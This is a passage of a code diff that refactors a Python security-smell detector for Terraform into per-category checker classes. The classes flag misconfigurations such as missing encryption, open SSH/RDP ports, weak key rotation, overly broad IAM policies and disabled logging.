["resource.aws_instance", "resource.aws_launch_configuration"]): + ebs_block_device = self.check_required_attribute(element.attributes, [""], "ebs_block_device") + if ebs_block_device: + encrypted = self.check_required_attribute(ebs_block_device.keyvalues, [""], "encrypted") + if not encrypted: + errors.append(Error('sec_missing_encryption', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'ebs_block_device.encrypted'.")) + elif (element.type == "resource.aws_ecs_task_definition"): + volume = self.check_required_attribute(element.attributes, [""], "volume") + if volume: + efs_volume_config = self.check_required_attribute(volume.keyvalues, [""], "efs_volume_configuration") + if efs_volume_config: + transit_encryption = self.check_required_attribute(efs_volume_config.keyvalues, [""], "transit_encryption") + if not transit_encryption: + errors.append(Error('sec_missing_encryption', element, file, repr(element), + f"Suggestion: check for a required attribute with name" + + f"'volume.efs_volume_configuration.transit_encryption'.")) + + for config in SecurityVisitor._MISSING_ENCRYPTION: + if (config['required'] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_missing_encryption', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for config in SecurityVisitor._MISSING_ENCRYPTION: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and elem_value.lower() == ""): + errors.append(Error('sec_missing_encryption', element, file, repr(element))) + break + elif ("any_not_empty" not in config['values'] and not element.has_variable + and elem_value.lower() not in config['values']): + errors.append(Error('sec_missing_encryption', element, file, repr(element))) + break + + for item in SecurityVisitor._CONFIGURATION_KEYWORDS: + if item.lower() == elem_name: + for config in SecurityVisitor._ENCRYPT_CONFIG: + if au_type in config['au_type']: + expr = config['keyword'].lower() + "\s*" + config['value'].lower() + pattern = re.compile(rf"{expr}") + if not re.search(pattern, elem_value) and config['required'] == "yes": + errors.append(Error('sec_missing_encryption', element, file, repr(element))) + break + elif re.search(pattern, elem_value) and config['required'] == "must_not_exist": + errors.append(Error('sec_missing_encryption', element, file, repr(element))) + break + return errors + + class TerraformFirewallMisconfig(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + for config in SecurityVisitor._FIREWALL_CONFIGS: + if (config['required'] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_firewall_misconfig', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for config in SecurityVisitor._FIREWALL_CONFIGS: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and elem_value.lower() == ""): + return [Error('sec_firewall_misconfig', element, file, repr(element))] + elif ("any_not_empty" not in config['values'] and not element.has_variable and + elem_value.lower() not in config['values']): + return [Error('sec_firewall_misconfig', element, file, repr(element))] + return errors + + class TerraformThreatsDetection(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + for config in SecurityVisitor._MISSING_THREATS_DETECTION_ALERTS: + if (config['required'] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_threats_detection_alerts', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + elif (config['required'] == "must_not_exist" and element.type in config['au_type']): + a = self.check_required_attribute(element.attributes, config['parents'], config['attribute']) + if a: + errors.append(Error('sec_threats_detection_alerts', a, file, repr(a))) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for config in SecurityVisitor._MISSING_THREATS_DETECTION_ALERTS: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and elem_value.lower() == ""): + return [Error('sec_threats_detection_alerts', element, file, repr(element))] + elif ("any_not_empty" not in config['values'] and not element.has_variable and + elem_value.lower() not in config['values']): + return [Error('sec_threats_detection_alerts', element, file, repr(element))] + return errors + + class TerraformWeakPasswordKeyPolicy(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + for policy in SecurityVisitor._PASSWORD_KEY_POLICY: + if (policy['required'] == "yes" and element.type in policy['au_type'] + and not self.check_required_attribute(element.attributes, policy['parents'], policy['attribute'])): + errors.append(Error('sec_weak_password_key_policy', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for policy in SecurityVisitor._PASSWORD_KEY_POLICY: + if (elem_name == policy['attribute'] and au_type in policy['au_type'] + and parent_name in policy['parents'] and policy['values'] != [""]): + if (policy['logic'] == "equal"): + if ("any_not_empty" in policy['values'] and elem_value.lower() == ""): + return [Error('sec_weak_password_key_policy', element, file, repr(element))] + elif ("any_not_empty" not in policy['values'] and not element.has_variable and + elem_value.lower() not in policy['values']): + return [Error('sec_weak_password_key_policy', element, file, repr(element))] + elif ((policy['logic'] == "gte" and not elem_value.isnumeric()) or + (policy['logic'] == "gte" and elem_value.isnumeric() + and int(elem_value) < int(policy['values'][0]))): + return [Error('sec_weak_password_key_policy', element, file, repr(element))] + elif ((policy['logic'] == "lte" and not elem_value.isnumeric()) or + (policy['logic'] == "lte" and elem_value.isnumeric() + and int(elem_value) > int(policy['values'][0]))): + return [Error('sec_weak_password_key_policy', element, file, repr(element))] + + return errors + + class TerraformSensitiveIAMAction(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + if (element.type == "data.aws_iam_policy_document"): + allow = self.check_required_attribute(element.attributes, ["statement"], "effect") + if ((allow and allow.value.lower() == "allow") or (not allow)): + sensitive_action = False + i = 0 + action = self.check_required_attribute(element.attributes, ["statement"], f"actions[{i}]") + while action: + if action.value.lower() in ["s3:*", "s3:getobject"]: + sensitive_action = True + break + i += 1 + action = self.check_required_attribute(element.attributes, ["statement"], f"actions[{i}]") + sensitive_resource = False + i = 0 + resource = self.check_required_attribute(element.attributes, ["statement"], f"resources[{i}]") + while resource: + if resource.value.lower() in ["*"]: + sensitive_resource = True + break + i += 1 + resource = self.check_required_attribute(element.attributes, ["statement"], f"resources[{i}]") + if (sensitive_action and sensitive_resource): + errors.append(Error('sec_sensitive_iam_action', action, file, repr(action))) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + pass + + return errors + + class TerraformKeyManagement(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + if (element.type == "resource.azurerm_storage_account"): + expr = "\${azurerm_storage_account\." + f"{elem_name}\." + pattern = re.compile(rf"{expr}") + if not self.get_associated_au(code, file, "resource.azurerm_storage_account_customer_managed_key", "storage_account_id", + pattern, [""]): + errors.append(Error('sec_key_management', element, file, repr(element), + f"Suggestion: check for a required resource 'azurerm_storage_account_customer_managed_key' " + + f"associated to an 'azurerm_storage_account' resource.")) + for config in SecurityVisitor._KEY_MANAGEMENT: + if (config['required'] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_key_management', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for config in SecurityVisitor._KEY_MANAGEMENT: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and elem_value.lower() == ""): + errors.append(Error('sec_key_management', element, file, repr(element))) + break + elif ("any_not_empty" not in config['values'] and not element.has_variable and + elem_value.lower() not in config['values']): + errors.append(Error('sec_key_management', element, file, repr(element))) + break + + if (elem_name == "rotation_period" and au_type == "resource.google_kms_crypto_key"): + expr1 = r'\d+\.\d{0,9}s' + expr2 = r'\d+s' + if (re.search(expr1, elem_value) or re.search(expr2, elem_value)): + if (int(elem_value.split("s")[0]) > 7776000): + errors.append(Error('sec_key_management', element, file, repr(element))) + else: + errors.append(Error('sec_key_management', element, file, repr(element))) + elif (elem_name == "kms_master_key_id" and ((au_type == "resource.aws_sqs_queue" + and elem_value == "alias/aws/sqs") or (au_type == "resource.aws_sns_queue" + and elem_value == "alias/aws/sns"))): + errors.append(Error('sec_key_management', element, file, repr(element))) + return errors + + class TerraformNetworkSecurityRules(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + if (element.type == "resource.azurerm_network_security_rule"): + access = self.check_required_attribute(element.attributes, [""], "access") + if (access and access.value.lower() == "allow"): + protocol = self.check_required_attribute(element.attributes, [""], "protocol") + if (protocol and protocol.value.lower() == "udp"): + errors.append(Error('sec_network_security_rules', access, file, repr(access))) + elif (protocol and protocol.value.lower() == "tcp"): + dest_port_range = self.check_required_attribute(element.attributes, [""], "destination_port_range") + dest_port_ranges = self.check_required_attribute(element.attributes, [""], "destination_port_ranges[0]") + port = False + if (dest_port_range and dest_port_range.value.lower() in ["22", "3389", "*"]): + port = True + if dest_port_ranges: + i = 1 + while dest_port_ranges: + if dest_port_ranges.value.lower() in ["22", "3389", "*"]: + port = True + break + i += 1 + dest_port_ranges = self.check_required_attribute(element.attributes, [""], f"destination_port_ranges[{i}]") + if port: + source_address_prefix = self.check_required_attribute(element.attributes, [""], "source_address_prefix") + if (source_address_prefix and (source_address_prefix.value.lower() in ["*", "/0", "internet", "any"] + or re.match(r'^0.0.0.0', source_address_prefix.value.lower()))): + errors.append(Error('sec_network_security_rules', source_address_prefix, file, repr(source_address_prefix))) + elif (element.type == "resource.azurerm_network_security_group"): + access = self.check_required_attribute(element.attributes, ["security_rule"], "access") + if (access and access.value.lower() == "allow"): + protocol = self.check_required_attribute(element.attributes, ["security_rule"], "protocol") + if (protocol and protocol.value.lower() == "udp"): + errors.append(Error('sec_network_security_rules', access, file, repr(access))) + elif (protocol and protocol.value.lower() == "tcp"): + dest_port_range = self.check_required_attribute(element.attributes, ["security_rule"], "destination_port_range") + if (dest_port_range and dest_port_range.value.lower() in ["22", "3389", "*"]): + source_address_prefix = self.check_required_attribute(element.attributes, [""], "source_address_prefix") + if (source_address_prefix and (source_address_prefix.value.lower() in ["*", "/0", "internet", "any"] + or re.match(r'^0.0.0.0', source_address_prefix.value.lower()))): + errors.append(Error('sec_network_security_rules', source_address_prefix, file, repr(source_address_prefix))) + + for rule in SecurityVisitor._NETWORK_SECURITY_RULES: + if (rule['required'] == "yes" and element.type in rule['au_type'] + and not self.check_required_attribute(element.attributes, rule['parents'], rule['attribute'])): + errors.append(Error('sec_network_security_rules', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{rule['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for rule in SecurityVisitor._NETWORK_SECURITY_RULES: + if (elem_name == rule['attribute'] and au_type in rule['au_type'] and parent_name in rule['parents'] + and not element.has_variable and elem_value.lower() not in rule['values'] and rule['values'] != [""]): + return [Error('sec_network_security_rules', element, file, repr(element))] + + return errors + + class TerraformPermissionIAMPolicies(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + if (element.type == "resource.aws_iam_user"): + expr = "\${aws_iam_user\." + f"{elem_name}\." pattern = re.compile(rf"{expr}") - assoc_au = get_associated_au(self.code, "resource.azurerm_log_analytics_storage_insights", - "storage_account_id", pattern, [""]) + assoc_au = self.get_associated_au(code, file, "resource.aws_iam_user_policy", "user", pattern, [""]) if assoc_au: - blob_container_names = check_required_attribute(assoc_au.attributes, [""], "blob_container_names[0]") - if blob_container_names: - i = 0 - contains_blob_name = False - while blob_container_names: - a = blob_container_names - if blob_container_names.value: - contains_blob_name = True - break - i += 1 - blob_container_names = check_required_attribute(assoc_au.attributes, [""], f"blob_container_names[{i}]") - if not contains_blob_name: + a = self.check_required_attribute(assoc_au.attributes, [""], "user", None, pattern) + errors.append(Error('sec_permission_iam_policies', a, file, repr(a))) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + if ((elem_name == "member" or elem_name.split('[')[0] == "members") + and au_type in SecurityVisitor._GOOGLE_IAM_MEMBER + and (re.search(r".-compute@developer.gserviceaccount.com", elem_value) or + re.search(r".@appspot.gserviceaccount.com", elem_value) or + re.search(r"user:", elem_value))): + errors.append(Error('sec_permission_iam_policies', element, file, repr(element))) + + for config in SecurityVisitor._PERMISSION_IAM_POLICIES: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ((config['logic'] == "equal" and not element.has_variable and elem_value.lower() not in config['values']) + or (config['logic'] == "diff" and elem_value.lower() in config['values'])): + errors.append(Error('sec_permission_iam_policies', element, file, repr(element))) + break + return errors + + class TerraformLogging(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + if (element.type == "resource.aws_eks_cluster"): + enabled_cluster_log_types = self.check_required_attribute(element.attributes, [""], "enabled_cluster_log_types[0]") + types = ["api", "authenticator", "audit", "scheduler", "controllermanager"] + if enabled_cluster_log_types: + i = 0 + while enabled_cluster_log_types: + a = enabled_cluster_log_types + if enabled_cluster_log_types.value.lower() in types: + types.remove(enabled_cluster_log_types.value.lower()) + i += 1 + enabled_cluster_log_types = self.check_required_attribute(element.attributes, [""], f"enabled_cluster_log_types[{i}]") + if types != []: + errors.append(Error('sec_logging', a, file, repr(a), + f"Suggestion: check for additional log type(s) {types}.")) + else: + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'enabled_cluster_log_types'.")) + elif (element.type == "resource.aws_msk_cluster"): + broker_logs = self.check_required_attribute(element.attributes, ["logging_info"], "broker_logs") + if broker_logs: + active = False + logs_type = ["cloudwatch_logs", "firehose", "s3"] + a_list = [] + for type in logs_type: + log = self.check_required_attribute(broker_logs.keyvalues, [""], type) + if log: + enabled = self.check_required_attribute(log.keyvalues, [""], "enabled") + if enabled and f"{enabled.value}".lower() == "true": + active = True + elif enabled and f"{enabled.value}".lower() != "true": + a_list.append(enabled) + if not active and a_list == []: + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: check for a required attribute with name " + + f"'logging_info.broker_logs.[cloudwatch_logs/firehose/s3].enabled'.")) + if not active and a_list != []: + for a in a_list: errors.append(Error('sec_logging', a, file, repr(a))) + else: + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: check for a required attribute with name " + + f"'logging_info.broker_logs.[cloudwatch_logs/firehose/s3].enabled'.")) + elif (element.type == "resource.aws_neptune_cluster"): + active = False + enable_cloudwatch_logs_exports = self.check_required_attribute(element.attributes, [""], f"enable_cloudwatch_logs_exports[0]") + if enable_cloudwatch_logs_exports: + i = 0 + while enable_cloudwatch_logs_exports: + a = enable_cloudwatch_logs_exports + if enable_cloudwatch_logs_exports.value.lower() == "audit": + active = True + break + i += 1 + enable_cloudwatch_logs_exports = self.check_required_attribute(element.attributes, [""], f"enable_cloudwatch_logs_exports[{i}]") + if not active: + errors.append(Error('sec_logging', a, file, repr(a))) + else: + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'enable_cloudwatch_logs_exports'.")) + elif (element.type == "resource.aws_docdb_cluster"): + active = False + enabled_cloudwatch_logs_exports = self.check_required_attribute(element.attributes, [""], f"enabled_cloudwatch_logs_exports[0]") + if enabled_cloudwatch_logs_exports: + i = 0 + while enabled_cloudwatch_logs_exports: + a = enabled_cloudwatch_logs_exports + if enabled_cloudwatch_logs_exports.value.lower() in ["audit", "profiler"]: + active = True + break + i += 1 + enabled_cloudwatch_logs_exports = self.check_required_attribute(element.attributes, [""], f"enabled_cloudwatch_logs_exports[{i}]") + if not active: + errors.append(Error('sec_logging', a, file, repr(a))) + else: + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'enabled_cloudwatch_logs_exports'.")) + elif (element.type == "resource.azurerm_mssql_server"): + expr = "\${azurerm_mssql_server\." + f"{elem_name}\." + pattern = re.compile(rf"{expr}") + assoc_au = self.get_associated_au(code, file, "resource.azurerm_mssql_server_extended_auditing_policy", + "server_id", pattern, [""]) + if not assoc_au: + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: check for a required resource 'azurerm_mssql_server_extended_auditing_policy' " + + f"associated to an 'azurerm_mssql_server' resource.")) + elif (element.type == "resource.azurerm_mssql_database"): + expr = "\${azurerm_mssql_database\." + f"{elem_name}\." + pattern = re.compile(rf"{expr}") + assoc_au = self.get_associated_au(code, file, "resource.azurerm_mssql_database_extended_auditing_policy", + "database_id", pattern, [""]) + if not assoc_au: + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: check for a required resource 'azurerm_mssql_database_extended_auditing_policy' " + + f"associated to an 'azurerm_mssql_database' resource.")) + elif (element.type == "resource.azurerm_postgresql_configuration"): + name = self.check_required_attribute(element.attributes, [""], "name") + value = self.check_required_attribute(element.attributes, [""], "value") + if (name and name.value.lower() in ["log_connections", "connection_throttling", "log_checkpoints"] + and value and value.value.lower() != "on"): + errors.append(Error('sec_logging', value, file, repr(value))) + elif (element.type == "resource.azurerm_monitor_log_profile"): + categories = self.check_required_attribute(element.attributes, [""], "categories[0]") + activities = [ "action", "delete", "write"] + if categories: + i = 0 + while categories: + a = categories + if categories.value.lower() in activities: + activities.remove(categories.value.lower()) + i += 1 + categories = self.check_required_attribute(element.attributes, [""], f"categories[{i}]") + if activities != []: + errors.append(Error('sec_logging', a, file, repr(a), + f"Suggestion: check for additional activity type(s) {activities}.")) + else: + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'categories'.")) + elif (element.type == "resource.google_sql_database_instance"): + for flag in SecurityVisitor._GOOGLE_SQL_DATABASE_LOG_FLAGS: + required_flag = True + if flag['required'] == "no": + required_flag = False + errors += self.check_database_flags(element, file, 'sec_logging', flag['flag_name'], flag['value'], required_flag) + elif (element.type == "resource.azurerm_storage_container"): + storage_account_name = self.check_required_attribute(element.attributes, [""], "storage_account_name") + if storage_account_name and storage_account_name.value.lower().startswith("${azurerm_storage_account."): + name = storage_account_name.value.lower().split('.')[1] + storage_account_au = self.get_au(code, file, name, "resource.azurerm_storage_account") + if storage_account_au: + expr = "\${azurerm_storage_account\." + f"{name}\." + pattern = re.compile(rf"{expr}") + assoc_au = self.get_associated_au(code, file, "resource.azurerm_log_analytics_storage_insights", + "storage_account_id", pattern, [""]) + if assoc_au: + blob_container_names = self.check_required_attribute(assoc_au.attributes, [""], "blob_container_names[0]") + if blob_container_names: + i = 0 + contains_blob_name = False + while blob_container_names: + a = blob_container_names + if blob_container_names.value: + contains_blob_name = True + break + i += 1 + blob_container_names = self.check_required_attribute(assoc_au.attributes, [""], f"blob_container_names[{i}]") + if not contains_blob_name: + errors.append(Error('sec_logging', a, file, repr(a))) + else: + errors.append(Error('sec_logging', assoc_au, file, repr(assoc_au), + f"Suggestion: check for a required attribute with name 'blob_container_names'.")) + else: + errors.append(Error('sec_logging', storage_account_au, file, repr(storage_account_au), + f"Suggestion: check for a required resource 'azurerm_log_analytics_storage_insights' " + + f"associated to an 'azurerm_storage_account' resource.")) else: - errors.append(Error('sec_logging', assoc_au, file, repr(assoc_au), - f"Suggestion: check for a required attribute with name 'blob_container_names'.")) + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: 'azurerm_storage_container' resource has to be associated to an " + + f"'azurerm_storage_account' resource in order to enable logging.")) else: - errors.append(Error('sec_logging', storage_account_au, file, repr(storage_account_au), - f"Suggestion: check for a required resource 'azurerm_log_analytics_storage_insights' " + - f"associated to an 'azurerm_storage_account' resource.")) - else: - errors.append(Error('sec_logging', au, file, repr(au), - f"Suggestion: 'azurerm_storage_container' resource has to be associated to an " + - f"'azurerm_storage_account' resource in order to enable logging.")) - else: - errors.append(Error('sec_logging', au, file, repr(au), - f"Suggestion: 'azurerm_storage_container' resource has to be associated to an " + - f"'azurerm_storage_account' resource in order to enable logging.")) - container_access_type = check_required_attribute(au.attributes, [""], "container_access_type") - if container_access_type and container_access_type.value.lower() not in ["blob", "private"]: - errors.append(Error('sec_logging', container_access_type, file, repr(container_access_type))) - elif (au.type == "resource.aws_ecs_cluster"): - name = check_required_attribute(au.attributes, ["setting"], "name", "containerinsights") - if name: - enabled = check_required_attribute(au.attributes, ["setting"], "value") - if enabled: - if enabled.value.lower() != "enabled": - errors.append(Error('sec_logging', enabled, file, repr(enabled))) - else: - errors.append(Error('sec_logging', au, file, repr(au), - f"Suggestion: check for a required attribute with name 'setting.value'.")) - else: - errors.append(Error('sec_logging', au, file, repr(au), - "Suggestion: check for a required attribute with name 'setting.name' and value 'containerInsights'.")) - elif (au.type == "resource.aws_vpc"): - expr = "\${aws_vpc\." + f"{au.name}\." - pattern = re.compile(rf"{expr}") - assoc_au = get_associated_au(self.code, "resource.aws_flow_log", - "vpc_id", pattern, [""]) - if not assoc_au: - errors.append(Error('sec_logging', au, file, repr(au), - f"Suggestion: check for a required resource 'aws_flow_log' " + - f"associated to an 'aws_vpc' resource.")) - - for config in SecurityVisitor.__LOGGING: - if (config['required'] == "yes" and au.type in config['au_type'] - and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): - errors.append(Error('sec_logging', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - - # check attached resource - def check_attached_resource(attributes, resource_types): - for a in attributes: - if a.value != None: - for resource_type in resource_types: - if (f"{a.value}".lower().startswith("${" + f"{resource_type}.") - or f"{a.value}".lower().startswith(f"{resource_type}.")): - resource_name = a.value.lower().split(".")[1] - if get_au(self.code, resource_name, f"resource.{resource_type}"): + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: 'azurerm_storage_container' resource has to be associated to an " + + f"'azurerm_storage_account' resource in order to enable logging.")) + container_access_type = self.check_required_attribute(element.attributes, [""], "container_access_type") + if container_access_type and container_access_type.value.lower() not in ["blob", "private"]: + errors.append(Error('sec_logging', container_access_type, file, repr(container_access_type))) + elif (element.type == "resource.aws_ecs_cluster"): + name = self.check_required_attribute(element.attributes, ["setting"], "name", "containerinsights") + if name: + enabled = self.check_required_attribute(element.attributes, ["setting"], "value") + if enabled: + if enabled.value.lower() != "enabled": + errors.append(Error('sec_logging', enabled, file, repr(enabled))) + else: + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'setting.value'.")) + else: + errors.append(Error('sec_logging', element, file, repr(element), + "Suggestion: check for a required attribute with name 'setting.name' and value 'containerInsights'.")) + elif (element.type == "resource.aws_vpc"): + expr = "\${aws_vpc\." + f"{elem_name}\." + pattern = re.compile(rf"{expr}") + assoc_au = self.get_associated_au(code, file, "resource.aws_flow_log", + "vpc_id", pattern, [""]) + if not assoc_au: + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: check for a required resource 'aws_flow_log' " + + f"associated to an 'aws_vpc' resource.")) + + for config in SecurityVisitor._LOGGING: + if (config['required'] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + if (elem_name == "cloud_watch_logs_group_arn" and au_type == "resource.aws_cloudtrail"): + if re.match(r"^\${aws_cloudwatch_log_group\..", elem_value): + aws_cloudwatch_log_group_name = elem_value.split('.')[1] + if not self.get_au(code, file, aws_cloudwatch_log_group_name, "resource.aws_cloudwatch_log_group"): + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: check for a required resource 'aws_cloudwatch_log_group' " + + f"with name '{aws_cloudwatch_log_group_name}'.")) + else: + errors.append(Error('sec_logging', element, file, repr(element))) + elif (((elem_name == "retention_in_days" and parent_name == "" + and au_type in ["resource.azurerm_mssql_database_extended_auditing_policy", + "resource.azurerm_mssql_server_extended_auditing_policy"]) + or (elem_name == "days" and parent_name == "retention_policy" + and au_type == "resource.azurerm_network_watcher_flow_log")) + and ((not elem_value.isnumeric()) or (elem_value.isnumeric() and int(elem_value) < 90))): + errors.append(Error('sec_logging', element, file, repr(element))) + elif (elem_name == "days" and parent_name == "retention_policy" + and au_type == "resource.azurerm_monitor_log_profile" + and (not elem_value.isnumeric() or (elem_value.isnumeric() and int(elem_value) < 365))): + errors.append(Error('sec_logging', element, file, repr(element))) + + for config in SecurityVisitor._LOGGING: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and elem_value.lower() == ""): + errors.append(Error('sec_logging', element, file, repr(element))) + break + elif ("any_not_empty" not in config['values'] and not element.has_variable and + elem_value.lower() not in config['values']): + errors.append(Error('sec_logging', element, file, repr(element))) + break + return errors + + class TerraformAttachedResource(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + def check_attached_resource(attributes, resource_types): + for a in attributes: + if a.value != None: + for resource_type in resource_types: + if (f"{a.value}".lower().startswith("${" + f"{resource_type}.") + or f"{a.value}".lower().startswith(f"{resource_type}.")): + resource_name = a.value.lower().split(".")[1] + if self.get_au(code, file, resource_name, f"resource.{resource_type}"): + return True + elif a.value == None: + attached = check_attached_resource(a.keyvalues, resource_types) + if attached: return True - elif a.value == None: - attached = check_attached_resource(a.keyvalues, resource_types) - if attached: - return True - return False - - if (au.type == "resource.aws_route53_record"): - type_A = check_required_attribute(au.attributes, [""], "type", "a") - if type_A and not check_attached_resource(au.attributes, SecurityVisitor.__POSSIBLE_ATTACHED_RESOURCES): - errors.append(Error('sec_attached_resource', au, file, repr(au))) + return False + + if (element.type == "resource.aws_route53_record"): + type_A = self.check_required_attribute(element.attributes, [""], "type", "a") + if type_A and not check_attached_resource(element.attributes, SecurityVisitor._POSSIBLE_ATTACHED_RESOURCES): + errors.append(Error('sec_attached_resource', element, file, repr(element))) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + pass + return errors - # check versioning - for config in SecurityVisitor.__VERSIONING: - if (config['required'] == "yes" and au.type in config['au_type'] - and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): - errors.append(Error('sec_versioning', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - - # check naming - if (au.type == "resource.aws_security_group"): - ingress = check_required_attribute(au.attributes, [""], "ingress") - egress = check_required_attribute(au.attributes, [""], "egress") - if ingress and not check_required_attribute(ingress.keyvalues, [""], "description"): - errors.append(Error('sec_naming', au, file, repr(au), - f"Suggestion: check for a required attribute with name 'ingress.description'.")) - if egress and not check_required_attribute(egress.keyvalues, [""], "description"): - errors.append(Error('sec_naming', au, file, repr(au), - f"Suggestion: check for a required attribute with name 'egress.description'.")) - elif (au.type == "resource.google_container_cluster"): - resource_labels = check_required_attribute(au.attributes, [""], "resource_labels", None) - if resource_labels and resource_labels.value == None: - if resource_labels.keyvalues == []: - errors.append(Error('sec_naming', resource_labels, file, repr(resource_labels), - f"Suggestion: check empty 'resource_labels'.")) - else: - errors.append(Error('sec_naming', au, file, repr(au), - f"Suggestion: check for a required attribute with name 'resource_labels'.")) - - for config in SecurityVisitor.__NAMING: - if (config['required'] == "yes" and au.type in config['au_type'] - and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): - errors.append(Error('sec_naming', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - - # check replication - if (au.type == "resource.aws_s3_bucket"): - expr = "\${aws_s3_bucket\." + f"{au.name}\." - pattern = re.compile(rf"{expr}") - if not get_associated_au(self.code, "resource.aws_s3_bucket_replication_configuration", - "bucket", pattern, [""]): - errors.append(Error('sec_replication', au, file, repr(au), - f"Suggestion: check for a required resource 'aws_s3_bucket_replication_configuration' " + - f"associated to an 'aws_s3_bucket' resource.")) - - for config in SecurityVisitor.__REPLICATION: - if (config['required'] == "yes" and au.type in config['au_type'] - and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): - errors.append(Error('sec_replication', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + class TerraformVersioning(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + for config in SecurityVisitor._VERSIONING: + if (config['required'] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_versioning', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + elif isinstance(element, Attribute) or isinstance(element, Variable): + for config in SecurityVisitor._VERSIONING: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""] + and not element.has_variable and elem_value.lower() not in config['values']): + return [Error('sec_versioning', element, file, repr(element))] + return errors + + class TerraformNaming(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + if (element.type == "resource.aws_security_group"): + ingress = self.check_required_attribute(element.attributes, [""], "ingress") + egress = self.check_required_attribute(element.attributes, [""], "egress") + if ingress and not 